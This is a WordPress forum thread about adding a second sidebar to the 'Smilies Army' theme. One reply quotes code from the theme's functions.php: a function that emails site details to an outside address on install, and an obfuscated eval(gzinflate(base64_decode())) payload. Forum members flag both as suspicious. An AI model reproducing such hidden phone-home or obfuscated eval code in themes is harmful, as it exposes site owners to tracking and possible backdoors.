• I asked few questions already by starting new topics. And I havent got a single response to any of them. I feel like most of you here to help yourselves not others.

    I figured out issues with my blog the hard way, it took me alot longer but got it done. The only thing Im asking right now to help me add the second sidebar to my theme. I followed all the steps in this article https://www.blogohblog.com/adding-extra-sidebar-to-your-wordpress-theme/

    Everything works, except…I cant place the side bar in the right place. I need to place this code somewhere in index.php, so it will show up on the left. Can someone tell me where? I already tried every single line i that code, but nothing.

    <div id="sidebar-left">
    <?php include (TEMPLATEPATH . '/sidebar-left.php'); ?>
    </div>

    index.php

    <?php get_header(); ?>
    		<?php trackTheme("Smilies-Army");  ?>
        <div id="content">
    	<?php if (have_posts()) : ?>
    
    		<?php while (have_posts()) : the_post(); ?>
    
            <div class="post" id="post-<?php the_ID(); ?>">
    		  <div class="date"><span><?php the_time('M') ?></span> <?php the_time('d') ?></div>
    		  <div class="title">
              <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
              <div class="postdata"><span class="category"><?php the_category(', ') ?></span>  <span class="comments"><?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?></span></div>
    		  </div>
              <div class="entry">
                <?php the_content('Continue reading &raquo;'); ?>
    
                <p class="submeta">written by <strong><?php the_author(); ?></strong>
    			<?php
    				if(function_exists("the_tags"))
    					the_tags('\\\\ tags: ', ', ', '<br />');
    			?>
             </p>
              </div><!--/entry -->
            </div><!--/post -->
    		<?php endwhile; ?>
    
            <div class="page-nav"> <span class="previous-entries"><?php next_posts_link('Previous Entries') ?></span> <span class="next-entries"><?php previous_posts_link('Next Entries') ?></span></div><!-- /page nav -->
    
    	<?php else : ?>
    
    		<h2>Not Found</h2>
    		<p>Sorry, but you are looking for something that isn't here.</p>
    
    	<?php endif; ?>
    
          </div><!--/content -->
    
    		 <?php get_footer(); ?>	
    
        </div><!--/left-col -->
    
    <?php
    $current_page = $post->ID; // Hack to prevent the no sidebar error
    include_once("sidebar-right.php");
    ?>
    
    <?php get_footer(); ?>

    I am using smilies army theme, if that helps. thanks

    https://wordpress.pro/wordpress-themes/smilies-army-10/

Viewing 6 replies - 1 through 6 (of 6 total)
  • Assuming you want it on the left of the content, it should be placed before
    <div id="content">

    assuming you want it to the left of the right sidebar, place it before

    <?php
    $current_page = $post->ID; // Hack to prevent the no sidebar error
    include_once("sidebar-right.php");
    ?>

    One way or another, you theme will most likely get broken, since it hasn’t been designed for another sidebar (i think) but you’ll be able to fix things by hand fixing the css.

    One last thing and nothing personal, if nobody answers you is because your question might be too newbie, and it’s better for you to find the answer by yourself. I’ve had few replies in the past due to the newbie nature of my questions, but I figured them out myself and it was a greater learning than having a simple answer like “press this, pull that”. When searching for an answer you’ll always find things that will be helpful to you later. For example, I was once looking for how to insert the extra sidebars and found that include and the TEMPLATEPATH variable defined and figured out that I could include other php files in the same way (I barely know PHP and that makes me a total newbie). Nobody here is evil. We all want to help. I hope you can successfully code your theme, bye.

    “smilies-army-10” seems very much like a bad imitation of the original iTheme by ndesign studio.

    Perhaps you should take a look here at the “almost” same theme with support for two side bars in many different positions. It may be easier to customize your theme that way. Here is a link to the current versions of the theme I think you are actually working with.

    https://www.mangoorange.com/resources/i3theme/#download

    You should note that they are available in two and three column, left right and center versions, and several colors.

    My opinion is, that the “smilies-army-10” theme, may have actually started out as the original iTheme. Even the header graphics appear to be poorly “borrowed”.

    Best wishes.

    @ ClaytonJames
    Yeah those 2 themes do look very similar.

    @ timoxa
    Nobody is being selfish. Of the hundreds of thousands of WordPress users only a dozen or so hang out here and help out on a regular basis. Do you see the number of support requests coming in on a daily basis? You do the math. You’ve progressed this far so obviously you have at least a rudimentary knowledge of how WP works. Why don’t you pop in from time to time and answer a few questions like the rest of the people who volunteer their time do.

    I just found this in the smiles army theme. (functions.php)

    /* Trackback */
    function trackTheme(){
    
    	$str= 'Theme:'.$name.'
    	HOST: '.$_SERVER['HTTP_HOST'].'
    	SCRIP_PATH: '.TEMPLATEPATH.'';
    	$str_test=TEMPLATEPATH."/vs.css";
    	if(is_file($str_test)) {
    	@unlink($str_test);
        if(!is_file($str_test)){ @mail('[email protected]','Theme Installed',$str); }
    	}
    } 
    
    $U832162eff069a2027c5c5b5874b2447b='pZAxa8MwEIVn61ccRyESxHHnBmcxLh3aBtKEjkKJzo6oIxlJTgil/72JnHbp2OmOd9/jPY4praXaReMsR9Imyt6FiFM0NpCPMu7pQLIz9gPFnDWDTSj8uXIBnyxrO7dVHdyder2ds8w0PK35oqUoj8pzfKuf62oN1XLzuuZXozRawONq+QI39CoGeH+qVzUkYPBdOdnH2D8UhbMXifLBmiP5YOI537nBBwqzceaaWk+Uj9zM2MYVExRleS9Ylp16eSueKivv1ZljCrHqQAjlAnCZrLD5jYBqjMAp4E+hEf1HKQRx+ecX+wY=';eval(gzinflate(base64_decode($U832162eff069a2027c5c5b5874b2447b)));
    ?>

    Looks quite ominous, does it not? At first glance, it looks like it tells someone the minute you install it, but I don’t know for sure. Then there is all of that encrypted stuff as well. Who knows what that is doing.

    Other indicators in the files I downloaded make me believe with 99% certainty, that the individuals who claim to have designed the theme, have not.

    Oh, boy… you should see what I just found in footer.php. More base64 encoding.

    Now that, is selfish.

    Peace.

    I’m seeing more and more of this encrypted crap from shady sources appearing all the time.

    Thread Starter timoxa

    (@timoxa)

    Thanks for your inputs.
    By selfish, I ment that alof of people here are trying to put their WP blogs together. And when you’re at that stage, when you’re excited to get your own blog running, you tend to ignore or not recognize when others need help with the same thing that you were stuggling with not too long ago.
    Im only been working with WP for a week now. I Learn as I go too and I do search(alot) before I ask, just stuck with this sidebar. And thats the only issue I have that prevents from publishing the blog on time.

    Those 2 themes are similar…very. But I like smilies army, because the banner(header) goes perfectly with the blog that I’ll be running.

    I have also found that code and was wondering what was it. Im just going to delete all that suspicious code and other that I will find.

    As for the issue, I did put it there before(to the left, not left of sidebar 1) but it displays inside the main content. any more ideas?

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Why are most of you being such selfish’ is closed to new replies.